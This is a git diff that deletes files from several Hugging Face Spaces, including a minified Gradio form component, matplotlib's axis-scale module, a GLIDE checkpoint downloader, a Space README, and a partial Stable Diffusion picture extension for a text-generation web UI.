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diff --git a/spaces/ky2k/Toxicity_Classifier_POC/.venv/lib/python3.9/site-packages/gradio/templates/frontend/assets/Form-46cea1c0.js b/spaces/ky2k/Toxicity_Classifier_POC/.venv/lib/python3.9/site-packages/gradio/templates/frontend/assets/Form-46cea1c0.js
deleted file mode 100644
index adef09399710c3c35b27112a921e6cd55ef78506..0000000000000000000000000000000000000000
--- a/spaces/ky2k/Toxicity_Classifier_POC/.venv/lib/python3.9/site-packages/gradio/templates/frontend/assets/Form-46cea1c0.js
+++ /dev/null
@@ -1,2 +0,0 @@
-import{S as r,i as _,s as f,V as u,G as c,C as m,M as o,g as d,X as v,Y as g,Z as b,p,t as h,q as F}from"./index-8c3da1d9.js";function q(i){let t,l;const n=i[2].default,s=u(n,i,i[1],null);return{c(){t=c("div"),s&&s.c(),m(t,"class","form svelte-b6y5bg"),o(t,"hidden",!i[0])},m(e,a){d(e,t,a),s&&s.m(t,null),l=!0},p(e,[a]){s&&s.p&&(!l||a&2)&&v(s,n,e,e[1],l?b(n,e[1],a,null):g(e[1]),null),(!l||a&1)&&o(t,"hidden",!e[0])},i(e){l||(p(s,e),l=!0)},o(e){h(s,e),l=!1},d(e){e&&F(t),s&&s.d(e)}}}function y(i,t,l){let{$$slots:n={},$$scope:s}=t,{visible:e=!0}=t;return i.$$set=a=>{"visible"in a&&l(0,e=a.visible),"$$scope"in a&&l(1,s=a.$$scope)},[e,s,n]}class S extends r{constructor(t){super(),_(this,t,y,q,f,{visible:0})}}export{S as F};
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diff --git a/spaces/ky2k/Toxicity_Classifier_POC/.venv/lib/python3.9/site-packages/matplotlib/scale.py b/spaces/ky2k/Toxicity_Classifier_POC/.venv/lib/python3.9/site-packages/matplotlib/scale.py
deleted file mode 100644
index 01e09f11b4445bd96bee7db947bb5562218e391e..0000000000000000000000000000000000000000
--- a/spaces/ky2k/Toxicity_Classifier_POC/.venv/lib/python3.9/site-packages/matplotlib/scale.py
+++ /dev/null
@@ -1,753 +0,0 @@
-"""
-Scales define the distribution of data values on an axis, e.g. a log scaling.
-They are defined as subclasses of `ScaleBase`.
-
-See also `.axes.Axes.set_xscale` and the scales examples in the documentation.
-
-See :doc:`/gallery/scales/custom_scale` for a full example of defining a custom
-scale.
-
-Matplotlib also supports non-separable transformations that operate on both
-`~.axis.Axis` at the same time.  They are known as projections, and defined in
-`matplotlib.projections`.
-"""
-
-import inspect
-import textwrap
-
-import numpy as np
-
-import matplotlib as mpl
-from matplotlib import _api, _docstring
-from matplotlib.ticker import (
-    NullFormatter, ScalarFormatter, LogFormatterSciNotation, LogitFormatter,
-    NullLocator, LogLocator, AutoLocator, AutoMinorLocator,
-    SymmetricalLogLocator, AsinhLocator, LogitLocator)
-from matplotlib.transforms import Transform, IdentityTransform
-
-
-class ScaleBase:
-    """
-    The base class for all scales.
-
-    Scales are separable transformations, working on a single dimension.
-
-    Subclasses should override
-
-    :attr:`name`
-        The scale's name.
-    :meth:`get_transform`
-        A method returning a `.Transform`, which converts data coordinates to
-        scaled coordinates.  This transform should be invertible, so that e.g.
-        mouse positions can be converted back to data coordinates.
-    :meth:`set_default_locators_and_formatters`
-        A method that sets default locators and formatters for an `~.axis.Axis`
-        that uses this scale.
-    :meth:`limit_range_for_scale`
-        An optional method that "fixes" the axis range to acceptable values,
-        e.g. restricting log-scaled axes to positive values.
-    """
-
-    def __init__(self, axis):
-        r"""
-        Construct a new scale.
-
-        Notes
-        -----
-        The following note is for scale implementors.
-
-        For back-compatibility reasons, scales take an `~matplotlib.axis.Axis`
-        object as first argument.  However, this argument should not
-        be used: a single scale object should be usable by multiple
-        `~matplotlib.axis.Axis`\es at the same time.
-        """
-
-    def get_transform(self):
-        """
-        Return the `.Transform` object associated with this scale.
-        """
-        raise NotImplementedError()
-
-    def set_default_locators_and_formatters(self, axis):
-        """
-        Set the locators and formatters of *axis* to instances suitable for
-        this scale.
-        """
-        raise NotImplementedError()
-
-    def limit_range_for_scale(self, vmin, vmax, minpos):
-        """
-        Return the range *vmin*, *vmax*, restricted to the
-        domain supported by this scale (if any).
-
-        *minpos* should be the minimum positive value in the data.
-        This is used by log scales to determine a minimum value.
-        """
-        return vmin, vmax
-
-
-class LinearScale(ScaleBase):
-    """
-    The default linear scale.
-    """
-
-    name = 'linear'
-
-    def __init__(self, axis):
-        # This method is present only to prevent inheritance of the base class'
-        # constructor docstring, which would otherwise end up interpolated into
-        # the docstring of Axis.set_scale.
-        """
-        """
-
-    def set_default_locators_and_formatters(self, axis):
-        # docstring inherited
-        axis.set_major_locator(AutoLocator())
-        axis.set_major_formatter(ScalarFormatter())
-        axis.set_minor_formatter(NullFormatter())
-        # update the minor locator for x and y axis based on rcParams
-        if (axis.axis_name == 'x' and mpl.rcParams['xtick.minor.visible'] or
-                axis.axis_name == 'y' and mpl.rcParams['ytick.minor.visible']):
-            axis.set_minor_locator(AutoMinorLocator())
-        else:
-            axis.set_minor_locator(NullLocator())
-
-    def get_transform(self):
-        """
-        Return the transform for linear scaling, which is just the
-        `~matplotlib.transforms.IdentityTransform`.
-        """
-        return IdentityTransform()
-
-
-class FuncTransform(Transform):
-    """
-    A simple transform that takes and arbitrary function for the
-    forward and inverse transform.
-    """
-
-    input_dims = output_dims = 1
-
-    def __init__(self, forward, inverse):
-        """
-        Parameters
-        ----------
-        forward : callable
-            The forward function for the transform.  This function must have
-            an inverse and, for best behavior, be monotonic.
-            It must have the signature::
-
-               def forward(values: array-like) -> array-like
-
-        inverse : callable
-            The inverse of the forward function.  Signature as ``forward``.
-        """
-        super().__init__()
-        if callable(forward) and callable(inverse):
-            self._forward = forward
-            self._inverse = inverse
-        else:
-            raise ValueError('arguments to FuncTransform must be functions')
-
-    def transform_non_affine(self, values):
-        return self._forward(values)
-
-    def inverted(self):
-        return FuncTransform(self._inverse, self._forward)
-
-
-class FuncScale(ScaleBase):
-    """
-    Provide an arbitrary scale with user-supplied function for the axis.
-    """
-
-    name = 'function'
-
-    def __init__(self, axis, functions):
-        """
-        Parameters
-        ----------
-        axis : `~matplotlib.axis.Axis`
-            The axis for the scale.
-        functions : (callable, callable)
-            two-tuple of the forward and inverse functions for the scale.
-            The forward function must be monotonic.
-
-            Both functions must have the signature::
-
-               def forward(values: array-like) -> array-like
-        """
-        forward, inverse = functions
-        transform = FuncTransform(forward, inverse)
-        self._transform = transform
-
-    def get_transform(self):
-        """Return the `.FuncTransform` associated with this scale."""
-        return self._transform
-
-    def set_default_locators_and_formatters(self, axis):
-        # docstring inherited
-        axis.set_major_locator(AutoLocator())
-        axis.set_major_formatter(ScalarFormatter())
-        axis.set_minor_formatter(NullFormatter())
-        # update the minor locator for x and y axis based on rcParams
-        if (axis.axis_name == 'x' and mpl.rcParams['xtick.minor.visible'] or
-                axis.axis_name == 'y' and mpl.rcParams['ytick.minor.visible']):
-            axis.set_minor_locator(AutoMinorLocator())
-        else:
-            axis.set_minor_locator(NullLocator())
-
-
-class LogTransform(Transform):
-    input_dims = output_dims = 1
-
-    def __init__(self, base, nonpositive='clip'):
-        super().__init__()
-        if base <= 0 or base == 1:
-            raise ValueError('The log base cannot be <= 0 or == 1')
-        self.base = base
-        self._clip = _api.check_getitem(
-            {"clip": True, "mask": False}, nonpositive=nonpositive)
-
-    def __str__(self):
-        return "{}(base={}, nonpositive={!r})".format(
-            type(self).__name__, self.base, "clip" if self._clip else "mask")
-
-    def transform_non_affine(self, a):
-        # Ignore invalid values due to nans being passed to the transform.
-        with np.errstate(divide="ignore", invalid="ignore"):
-            log = {np.e: np.log, 2: np.log2, 10: np.log10}.get(self.base)
-            if log:  # If possible, do everything in a single call to NumPy.
-                out = log(a)
-            else:
-                out = np.log(a)
-                out /= np.log(self.base)
-            if self._clip:
-                # SVG spec says that conforming viewers must support values up
-                # to 3.4e38 (C float); however experiments suggest that
-                # Inkscape (which uses cairo for rendering) runs into cairo's
-                # 24-bit limit (which is apparently shared by Agg).
-                # Ghostscript (used for pdf rendering appears to overflow even
-                # earlier, with the max value around 2 ** 15 for the tests to
-                # pass. On the other hand, in practice, we want to clip beyond
-                #     np.log10(np.nextafter(0, 1)) ~ -323
-                # so 1000 seems safe.
-                out[a <= 0] = -1000
-        return out
-
-    def inverted(self):
-        return InvertedLogTransform(self.base)
-
-
-class InvertedLogTransform(Transform):
-    input_dims = output_dims = 1
-
-    def __init__(self, base):
-        super().__init__()
-        self.base = base
-
-    def __str__(self):
-        return "{}(base={})".format(type(self).__name__, self.base)
-
-    def transform_non_affine(self, a):
-        return np.power(self.base, a)
-
-    def inverted(self):
-        return LogTransform(self.base)
-
-
-class LogScale(ScaleBase):
-    """
-    A standard logarithmic scale.  Care is taken to only plot positive values.
-    """
-    name = 'log'
-
-    def __init__(self, axis, *, base=10, subs=None, nonpositive="clip"):
-        """
-        Parameters
-        ----------
-        axis : `~matplotlib.axis.Axis`
-            The axis for the scale.
-        base : float, default: 10
-            The base of the logarithm.
-        nonpositive : {'clip', 'mask'}, default: 'clip'
-            Determines the behavior for non-positive values. They can either
-            be masked as invalid, or clipped to a very small positive number.
-        subs : sequence of int, default: None
-            Where to place the subticks between each major tick.  For example,
-            in a log10 scale, ``[2, 3, 4, 5, 6, 7, 8, 9]`` will place 8
-            logarithmically spaced minor ticks between each major tick.
-        """
-        self._transform = LogTransform(base, nonpositive)
-        self.subs = subs
-
-    base = property(lambda self: self._transform.base)
-
-    def set_default_locators_and_formatters(self, axis):
-        # docstring inherited
-        axis.set_major_locator(LogLocator(self.base))
-        axis.set_major_formatter(LogFormatterSciNotation(self.base))
-        axis.set_minor_locator(LogLocator(self.base, self.subs))
-        axis.set_minor_formatter(
-            LogFormatterSciNotation(self.base,
-                                    labelOnlyBase=(self.subs is not None)))
-
-    def get_transform(self):
-        """Return the `.LogTransform` associated with this scale."""
-        return self._transform
-
-    def limit_range_for_scale(self, vmin, vmax, minpos):
-        """Limit the domain to positive values."""
-        if not np.isfinite(minpos):
-            minpos = 1e-300  # Should rarely (if ever) have a visible effect.
-
-        return (minpos if vmin <= 0 else vmin,
-                minpos if vmax <= 0 else vmax)
-
-
-class FuncScaleLog(LogScale):
-    """
-    Provide an arbitrary scale with user-supplied function for the axis and
-    then put on a logarithmic axes.
-    """
-
-    name = 'functionlog'
-
-    def __init__(self, axis, functions, base=10):
-        """
-        Parameters
-        ----------
-        axis : `matplotlib.axis.Axis`
-            The axis for the scale.
-        functions : (callable, callable)
-            two-tuple of the forward and inverse functions for the scale.
-            The forward function must be monotonic.
-
-            Both functions must have the signature::
-
-                def forward(values: array-like) -> array-like
-
-        base : float, default: 10
-            Logarithmic base of the scale.
-        """
-        forward, inverse = functions
-        self.subs = None
-        self._transform = FuncTransform(forward, inverse) + LogTransform(base)
-
-    @property
-    def base(self):
-        return self._transform._b.base  # Base of the LogTransform.
-
-    def get_transform(self):
-        """Return the `.Transform` associated with this scale."""
-        return self._transform
-
-
-class SymmetricalLogTransform(Transform):
-    input_dims = output_dims = 1
-
-    def __init__(self, base, linthresh, linscale):
-        super().__init__()
-        if base <= 1.0:
-            raise ValueError("'base' must be larger than 1")
-        if linthresh <= 0.0:
-            raise ValueError("'linthresh' must be positive")
-        if linscale <= 0.0:
-            raise ValueError("'linscale' must be positive")
-        self.base = base
-        self.linthresh = linthresh
-        self.linscale = linscale
-        self._linscale_adj = (linscale / (1.0 - self.base ** -1))
-        self._log_base = np.log(base)
-
-    def transform_non_affine(self, a):
-        abs_a = np.abs(a)
-        with np.errstate(divide="ignore", invalid="ignore"):
-            out = np.sign(a) * self.linthresh * (
-                self._linscale_adj +
-                np.log(abs_a / self.linthresh) / self._log_base)
-            inside = abs_a <= self.linthresh
-        out[inside] = a[inside] * self._linscale_adj
-        return out
-
-    def inverted(self):
-        return InvertedSymmetricalLogTransform(self.base, self.linthresh,
-                                               self.linscale)
-
-
-class InvertedSymmetricalLogTransform(Transform):
-    input_dims = output_dims = 1
-
-    def __init__(self, base, linthresh, linscale):
-        super().__init__()
-        symlog = SymmetricalLogTransform(base, linthresh, linscale)
-        self.base = base
-        self.linthresh = linthresh
-        self.invlinthresh = symlog.transform(linthresh)
-        self.linscale = linscale
-        self._linscale_adj = (linscale / (1.0 - self.base ** -1))
-
-    def transform_non_affine(self, a):
-        abs_a = np.abs(a)
-        if (abs_a < self.linthresh).all():
-            _api.warn_external(
-                "All values for SymLogScale are below linthresh, making "
-                "it effectively linear. You likely should lower the value "
-                "of linthresh. ")
-        with np.errstate(divide="ignore", invalid="ignore"):
-            out = np.sign(a) * self.linthresh * (
-                np.power(self.base,
-                         abs_a / self.linthresh - self._linscale_adj))
-            inside = abs_a <= self.invlinthresh
-        out[inside] = a[inside] / self._linscale_adj
-        return out
-
-    def inverted(self):
-        return SymmetricalLogTransform(self.base,
-                                       self.linthresh, self.linscale)
-
-
-class SymmetricalLogScale(ScaleBase):
-    """
-    The symmetrical logarithmic scale is logarithmic in both the
-    positive and negative directions from the origin.
-
-    Since the values close to zero tend toward infinity, there is a
-    need to have a range around zero that is linear.  The parameter
-    *linthresh* allows the user to specify the size of this range
-    (-*linthresh*, *linthresh*).
-
-    Parameters
-    ----------
-    base : float, default: 10
-        The base of the logarithm.
-
-    linthresh : float, default: 2
-        Defines the range ``(-x, x)``, within which the plot is linear.
-        This avoids having the plot go to infinity around zero.
-
-    subs : sequence of int
-        Where to place the subticks between each major tick.
-        For example, in a log10 scale: ``[2, 3, 4, 5, 6, 7, 8, 9]`` will place
-        8 logarithmically spaced minor ticks between each major tick.
-
-    linscale : float, optional
-        This allows the linear range ``(-linthresh, linthresh)`` to be
-        stretched relative to the logarithmic range. Its value is the number of
-        decades to use for each half of the linear range. For example, when
-        *linscale* == 1.0 (the default), the space used for the positive and
-        negative halves of the linear range will be equal to one decade in
-        the logarithmic range.
-    """
-    name = 'symlog'
-
-    def __init__(self, axis, *, base=10, linthresh=2, subs=None, linscale=1):
-        self._transform = SymmetricalLogTransform(base, linthresh, linscale)
-        self.subs = subs
-
-    base = property(lambda self: self._transform.base)
-    linthresh = property(lambda self: self._transform.linthresh)
-    linscale = property(lambda self: self._transform.linscale)
-
-    def set_default_locators_and_formatters(self, axis):
-        # docstring inherited
-        axis.set_major_locator(SymmetricalLogLocator(self.get_transform()))
-        axis.set_major_formatter(LogFormatterSciNotation(self.base))
-        axis.set_minor_locator(SymmetricalLogLocator(self.get_transform(),
-                                                     self.subs))
-        axis.set_minor_formatter(NullFormatter())
-
-    def get_transform(self):
-        """Return the `.SymmetricalLogTransform` associated with this scale."""
-        return self._transform
-
-
-class AsinhTransform(Transform):
-    """Inverse hyperbolic-sine transformation used by `.AsinhScale`"""
-    input_dims = output_dims = 1
-
-    def __init__(self, linear_width):
-        super().__init__()
-        if linear_width <= 0.0:
-            raise ValueError("Scale parameter 'linear_width' " +
-                             "must be strictly positive")
-        self.linear_width = linear_width
-
-    def transform_non_affine(self, a):
-        return self.linear_width * np.arcsinh(a / self.linear_width)
-
-    def inverted(self):
-        return InvertedAsinhTransform(self.linear_width)
-
-
-class InvertedAsinhTransform(Transform):
-    """Hyperbolic sine transformation used by `.AsinhScale`"""
-    input_dims = output_dims = 1
-
-    def __init__(self, linear_width):
-        super().__init__()
-        self.linear_width = linear_width
-
-    def transform_non_affine(self, a):
-        return self.linear_width * np.sinh(a / self.linear_width)
-
-    def inverted(self):
-        return AsinhTransform(self.linear_width)
-
-
-class AsinhScale(ScaleBase):
-    """
-    A quasi-logarithmic scale based on the inverse hyperbolic sine (asinh)
-
-    For values close to zero, this is essentially a linear scale,
-    but for large magnitude values (either positive or negative)
-    it is asymptotically logarithmic. The transition between these
-    linear and logarithmic regimes is smooth, and has no discontinuities
-    in the function gradient in contrast to
-    the `.SymmetricalLogScale` ("symlog") scale.
-
-    Specifically, the transformation of an axis coordinate :math:`a` is
-    :math:`a \\rightarrow a_0 \\sinh^{-1} (a / a_0)` where :math:`a_0`
-    is the effective width of the linear region of the transformation.
-    In that region, the transformation is
-    :math:`a \\rightarrow a + \\mathcal{O}(a^3)`.
-    For large values of :math:`a` the transformation behaves as
-    :math:`a \\rightarrow a_0 \\, \\mathrm{sgn}(a) \\ln |a| + \\mathcal{O}(1)`.
-
-    .. note::
-
-       This API is provisional and may be revised in the future
-       based on early user feedback.
-    """
-
-    name = 'asinh'
-
-    auto_tick_multipliers = {
-        3: (2, ),
-        4: (2, ),
-        5: (2, ),
-        8: (2, 4),
-        10: (2, 5),
-        16: (2, 4, 8),
-        64: (4, 16),
-        1024: (256, 512)
-    }
-
-    def __init__(self, axis, *, linear_width=1.0,
-                 base=10, subs='auto', **kwargs):
-        """
-        Parameters
-        ----------
-        linear_width : float, default: 1
-            The scale parameter (elsewhere referred to as :math:`a_0`)
-            defining the extent of the quasi-linear region,
-            and the coordinate values beyond which the transformation
-            becomes asymptotically logarithmic.
-        base : int, default: 10
-            The number base used for rounding tick locations
-            on a logarithmic scale. If this is less than one,
-            then rounding is to the nearest integer multiple
-            of powers of ten.
-        subs : sequence of int
-            Multiples of the number base used for minor ticks.
-            If set to 'auto', this will use built-in defaults,
-            e.g. (2, 5) for base=10.
-        """
-        super().__init__(axis)
-        self._transform = AsinhTransform(linear_width)
-        self._base = int(base)
-        if subs == 'auto':
-            self._subs = self.auto_tick_multipliers.get(self._base)
-        else:
-            self._subs = subs
-
-    linear_width = property(lambda self: self._transform.linear_width)
-
-    def get_transform(self):
-        return self._transform
-
-    def set_default_locators_and_formatters(self, axis):
-        axis.set(major_locator=AsinhLocator(self.linear_width,
-                                            base=self._base),
-                 minor_locator=AsinhLocator(self.linear_width,
-                                            base=self._base,
-                                            subs=self._subs),
-                 minor_formatter=NullFormatter())
-        if self._base > 1:
-            axis.set_major_formatter(LogFormatterSciNotation(self._base))
-        else:
-            axis.set_major_formatter('{x:.3g}'),
-
-
-class LogitTransform(Transform):
-    input_dims = output_dims = 1
-
-    def __init__(self, nonpositive='mask'):
-        super().__init__()
-        _api.check_in_list(['mask', 'clip'], nonpositive=nonpositive)
-        self._nonpositive = nonpositive
-        self._clip = {"clip": True, "mask": False}[nonpositive]
-
-    def transform_non_affine(self, a):
-        """logit transform (base 10), masked or clipped"""
-        with np.errstate(divide="ignore", invalid="ignore"):
-            out = np.log10(a / (1 - a))
-        if self._clip:  # See LogTransform for choice of clip value.
-            out[a <= 0] = -1000
-            out[1 <= a] = 1000
-        return out
-
-    def inverted(self):
-        return LogisticTransform(self._nonpositive)
-
-    def __str__(self):
-        return "{}({!r})".format(type(self).__name__, self._nonpositive)
-
-
-class LogisticTransform(Transform):
-    input_dims = output_dims = 1
-
-    def __init__(self, nonpositive='mask'):
-        super().__init__()
-        self._nonpositive = nonpositive
-
-    def transform_non_affine(self, a):
-        """logistic transform (base 10)"""
-        return 1.0 / (1 + 10**(-a))
-
-    def inverted(self):
-        return LogitTransform(self._nonpositive)
-
-    def __str__(self):
-        return "{}({!r})".format(type(self).__name__, self._nonpositive)
-
-
-class LogitScale(ScaleBase):
-    """
-    Logit scale for data between zero and one, both excluded.
-
-    This scale is similar to a log scale close to zero and to one, and almost
-    linear around 0.5. It maps the interval ]0, 1[ onto ]-infty, +infty[.
-    """
-    name = 'logit'
-
-    def __init__(self, axis, nonpositive='mask', *,
-                 one_half=r"\frac{1}{2}", use_overline=False):
-        r"""
-        Parameters
-        ----------
-        axis : `matplotlib.axis.Axis`
-            Currently unused.
-        nonpositive : {'mask', 'clip'}
-            Determines the behavior for values beyond the open interval ]0, 1[.
-            They can either be masked as invalid, or clipped to a number very
-            close to 0 or 1.
-        use_overline : bool, default: False
-            Indicate the usage of survival notation (\overline{x}) in place of
-            standard notation (1-x) for probability close to one.
-        one_half : str, default: r"\frac{1}{2}"
-            The string used for ticks formatter to represent 1/2.
-        """
-        self._transform = LogitTransform(nonpositive)
-        self._use_overline = use_overline
-        self._one_half = one_half
-
-    def get_transform(self):
-        """Return the `.LogitTransform` associated with this scale."""
-        return self._transform
-
-    def set_default_locators_and_formatters(self, axis):
-        # docstring inherited
-        # ..., 0.01, 0.1, 0.5, 0.9, 0.99, ...
-        axis.set_major_locator(LogitLocator())
-        axis.set_major_formatter(
-            LogitFormatter(
-                one_half=self._one_half,
-                use_overline=self._use_overline
-            )
-        )
-        axis.set_minor_locator(LogitLocator(minor=True))
-        axis.set_minor_formatter(
-            LogitFormatter(
-                minor=True,
-                one_half=self._one_half,
-                use_overline=self._use_overline
-            )
-        )
-
-    def limit_range_for_scale(self, vmin, vmax, minpos):
-        """
-        Limit the domain to values between 0 and 1 (excluded).
-        """
-        if not np.isfinite(minpos):
-            minpos = 1e-7  # Should rarely (if ever) have a visible effect.
-        return (minpos if vmin <= 0 else vmin,
-                1 - minpos if vmax >= 1 else vmax)
-
-
-_scale_mapping = {
-    'linear': LinearScale,
-    'log':    LogScale,
-    'symlog': SymmetricalLogScale,
-    'asinh':  AsinhScale,
-    'logit':  LogitScale,
-    'function': FuncScale,
-    'functionlog': FuncScaleLog,
-    }
-
-
-def get_scale_names():
-    """Return the names of the available scales."""
-    return sorted(_scale_mapping)
-
-
-def scale_factory(scale, axis, **kwargs):
-    """
-    Return a scale class by name.
-
-    Parameters
-    ----------
-    scale : {%(names)s}
-    axis : `matplotlib.axis.Axis`
-    """
-    scale_cls = _api.check_getitem(_scale_mapping, scale=scale)
-    return scale_cls(axis, **kwargs)
-
-
-if scale_factory.__doc__:
-    scale_factory.__doc__ = scale_factory.__doc__ % {
-        "names": ", ".join(map(repr, get_scale_names()))}
-
-
-def register_scale(scale_class):
-    """
-    Register a new kind of scale.
-
-    Parameters
-    ----------
-    scale_class : subclass of `ScaleBase`
-        The scale to register.
-    """
-    _scale_mapping[scale_class.name] = scale_class
-
-
-def _get_scale_docs():
-    """
-    Helper function for generating docstrings related to scales.
-    """
-    docs = []
-    for name, scale_class in _scale_mapping.items():
-        docstring = inspect.getdoc(scale_class.__init__) or ""
-        docs.extend([
-            f"    {name!r}",
-            "",
-            textwrap.indent(docstring, " " * 8),
-            ""
-        ])
-    return "\n".join(docs)
-
-
-_docstring.interpd.update(
-    scale_type='{%s}' % ', '.join([repr(x) for x in get_scale_names()]),
-    scale_docs=_get_scale_docs().rstrip(),
-    )
diff --git a/spaces/lcipolina/Print_Gallery/glide_text2im/download.py b/spaces/lcipolina/Print_Gallery/glide_text2im/download.py
deleted file mode 100644
index c088f0cd090aa873b66d3893798097ac6fadc16d..0000000000000000000000000000000000000000
--- a/spaces/lcipolina/Print_Gallery/glide_text2im/download.py
+++ /dev/null
@@ -1,71 +0,0 @@
-import os
-from functools import lru_cache
-from typing import Dict, Optional
-
-import requests
-import torch as th
-from filelock import FileLock
-from tqdm.auto import tqdm
-
-MODEL_PATHS = {
-    "base": "https://openaipublic.blob.core.windows.net/diffusion/dec-2021/base.pt",
-    "upsample": "https://openaipublic.blob.core.windows.net/diffusion/dec-2021/upsample.pt",
-    "base-inpaint": "https://openaipublic.blob.core.windows.net/diffusion/dec-2021/base_inpaint.pt",
-    "upsample-inpaint": "https://openaipublic.blob.core.windows.net/diffusion/dec-2021/upsample_inpaint.pt",
-    "clip/image-enc": "https://openaipublic.blob.core.windows.net/diffusion/dec-2021/clip_image_enc.pt",
-    "clip/text-enc": "https://openaipublic.blob.core.windows.net/diffusion/dec-2021/clip_text_enc.pt",
-}
-
-
-@lru_cache()
-def default_cache_dir() -> str:
-    return os.path.join(os.path.abspath(os.getcwd()), "glide_model_cache")
-
-
-def fetch_file_cached(
-    url: str, progress: bool = True, cache_dir: Optional[str] = None, chunk_size: int = 4096
-) -> str:
-    """
-    Download the file at the given URL into a local file and return the path.
-
-    If cache_dir is specified, it will be used to download the files.
-    Otherwise, default_cache_dir() is used.
-    """
-    if cache_dir is None:
-        cache_dir = default_cache_dir()
-    os.makedirs(cache_dir, exist_ok=True)
-    response = requests.get(url, stream=True)
-    size = int(response.headers.get("content-length", "0"))
-    local_path = os.path.join(cache_dir, url.split("/")[-1])
-    with FileLock(local_path + ".lock"):
-        if os.path.exists(local_path):
-            return local_path
-        if progress:
-            pbar = tqdm(total=size, unit="iB", unit_scale=True)
-        tmp_path = local_path + ".tmp"
-        with open(tmp_path, "wb") as f:
-            for chunk in response.iter_content(chunk_size):
-                if progress:
-                    pbar.update(len(chunk))
-                f.write(chunk)
-        os.rename(tmp_path, local_path)
-        if progress:
-            pbar.close()
-        return local_path
-
-
-def load_checkpoint(
-    checkpoint_name: str,
-    device: th.device,
-    progress: bool = True,
-    cache_dir: Optional[str] = None,
-    chunk_size: int = 4096,
-) -> Dict[str, th.Tensor]:
-    if checkpoint_name not in MODEL_PATHS:
-        raise ValueError(
-            f"Unknown checkpoint name {checkpoint_name}. Known names are: {MODEL_PATHS.keys()}."
-        )
-    path = fetch_file_cached(
-        MODEL_PATHS[checkpoint_name], progress=progress, cache_dir=cache_dir, chunk_size=chunk_size
-    )
-    return th.load(path, map_location=device)
diff --git a/spaces/leftcoastkidd/runwayml-stable-diffusion-v1-5/README.md b/spaces/leftcoastkidd/runwayml-stable-diffusion-v1-5/README.md
deleted file mode 100644
index 96c0ba496317aa51d6162b93a423969a91adc791..0000000000000000000000000000000000000000
--- a/spaces/leftcoastkidd/runwayml-stable-diffusion-v1-5/README.md
+++ /dev/null
@@ -1,12 +0,0 @@
----
-title: Runwayml Stable Diffusion V1 5
-emoji: ⚡
-colorFrom: green
-colorTo: yellow
-sdk: gradio
-sdk_version: 3.20.1
-app_file: app.py
-pinned: false
----
-
-Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference
diff --git a/spaces/leogabraneth/text-generation-webui-main/extensions/sd_api_pictures/script.py b/spaces/leogabraneth/text-generation-webui-main/extensions/sd_api_pictures/script.py
deleted file mode 100644
index a16575cdf10a8714e23e7d54cd0940150ce9a20c..0000000000000000000000000000000000000000
--- a/spaces/leogabraneth/text-generation-webui-main/extensions/sd_api_pictures/script.py
+++ /dev/null
@@ -1,386 +0,0 @@
-import base64
-import io
-import re
-import time
-from datetime import date
-from pathlib import Path
-
-import gradio as gr
-import requests
-import torch
-from PIL import Image
-
-from modules import shared
-from modules.models import reload_model, unload_model
-from modules.ui import create_refresh_button
-
-torch._C._jit_set_profiling_mode(False)
-
-# parameters which can be customized in settings.json of webui
-params = {
-    'address': 'http://127.0.0.1:7860',
-    'mode': 0,  # modes of operation: 0 (Manual only), 1 (Immersive/Interactive - looks for words to trigger), 2 (Picturebook Adventure - Always on)
-    'manage_VRAM': False,
-    'save_img': False,
-    'SD_model': 'NeverEndingDream',  # not used right now
-    'prompt_prefix': '(Masterpiece:1.1), detailed, intricate, colorful',
-    'negative_prompt': '(worst quality, low quality:1.3)',
-    'width': 512,
-    'height': 512,
-    'denoising_strength': 0.61,
-    'restore_faces': False,
-    'enable_hr': False,
-    'hr_upscaler': 'ESRGAN_4x',
-    'hr_scale': '1.0',
-    'seed': -1,
-    'sampler_name': 'DPM++ 2M Karras',
-    'steps': 32,
-    'cfg_scale': 7,
-    'textgen_prefix': 'Please provide a detailed and vivid description of [subject]',
-    'sd_checkpoint': ' ',
-    'checkpoint_list': [" "]
-}
-
-
-def give_VRAM_priority(actor):
-    global shared, params
-
-    if actor == 'SD':
-        unload_model()
-        print("Requesting Auto1111 to re-load last checkpoint used...")
-        response = requests.post(url=f'{params["address"]}/sdapi/v1/reload-checkpoint', json='')
-        response.raise_for_status()
-
-    elif actor == 'LLM':
-        print("Requesting Auto1111 to vacate VRAM...")
-        response = requests.post(url=f'{params["address"]}/sdapi/v1/unload-checkpoint', json='')
-        response.raise_for_status()
-        reload_model()
-
-    elif actor == 'set':
-        print("VRAM mangement activated -- requesting Auto1111 to vacate VRAM...")
-        response = requests.post(url=f'{params["address"]}/sdapi/v1/unload-checkpoint', json='')
-        response.raise_for_status()
-
-    elif actor == 'reset':
-        print("VRAM mangement deactivated -- requesting Auto1111 to reload checkpoint")
-        response = requests.post(url=f'{params["address"]}/sdapi/v1/reload-checkpoint', json='')
-        response.raise_for_status()
-
-    else:
-        raise RuntimeError(f'Managing VRAM: "{actor}" is not a known state!')
-
-    response.raise_for_status()
-    del response
-
-
-if params['manage_VRAM']:
-    give_VRAM_priority('set')
-
-SD_models = ['NeverEndingDream']  # TODO: get with http://{address}}/sdapi/v1/sd-models and allow user to select
-
-picture_response = False  # specifies if the next model response should appear as a picture
-
-
-def remove_surrounded_chars(string):
-    # this expression matches to 'as few symbols as possible (0 upwards) between any asterisks' OR
-    # 'as few symbols as possible (0 upwards) between an asterisk and the end of the string'
-    return re.sub('\*[^\*]*?(\*|$)', '', string)
-
-
-def triggers_are_in(string):
-    string = remove_surrounded_chars(string)
-    # regex searches for send|main|message|me (at the end of the word) followed by
-    # a whole word of image|pic|picture|photo|snap|snapshot|selfie|meme(s),
-    # (?aims) are regex parser flags
-    return bool(re.search('(?aims)(send|mail|message|me)\\b.+?\\b(image|pic(ture)?|photo|snap(shot)?|selfie|meme)s?\\b', string))
-
-
-def state_modifier(state):
-    if picture_response:
-        state['stream'] = False
-
-    return state
-
-
-def input_modifier(string):
-    """
-    This function is applied to your text inputs before
-    they are fed into the model.
-    """
-
-    global params
-
-    if not params['mode'] == 1:  # if not in immersive/interactive mode, do nothing
-        return string
-
-    if triggers_are_in(string):  # if we're in it, check for trigger words
-        toggle_generation(True)
-        string = string.lower()
-        if "of" in string:
-            subject = string.split('of', 1)[1]  # subdivide the string once by the first 'of' instance and get what's coming after it
-            string = params['textgen_prefix'].replace("[subject]", subject)
-        else:
-            string = params['textgen_prefix'].replace("[subject]", "your appearance, your surroundings and what you are doing right now")
-
-    return string
-
-# Get and save the Stable Diffusion-generated picture
-def get_SD_pictures(description, character):
-
-    global params
-
-    if params['manage_VRAM']:
-        give_VRAM_priority('SD')
-
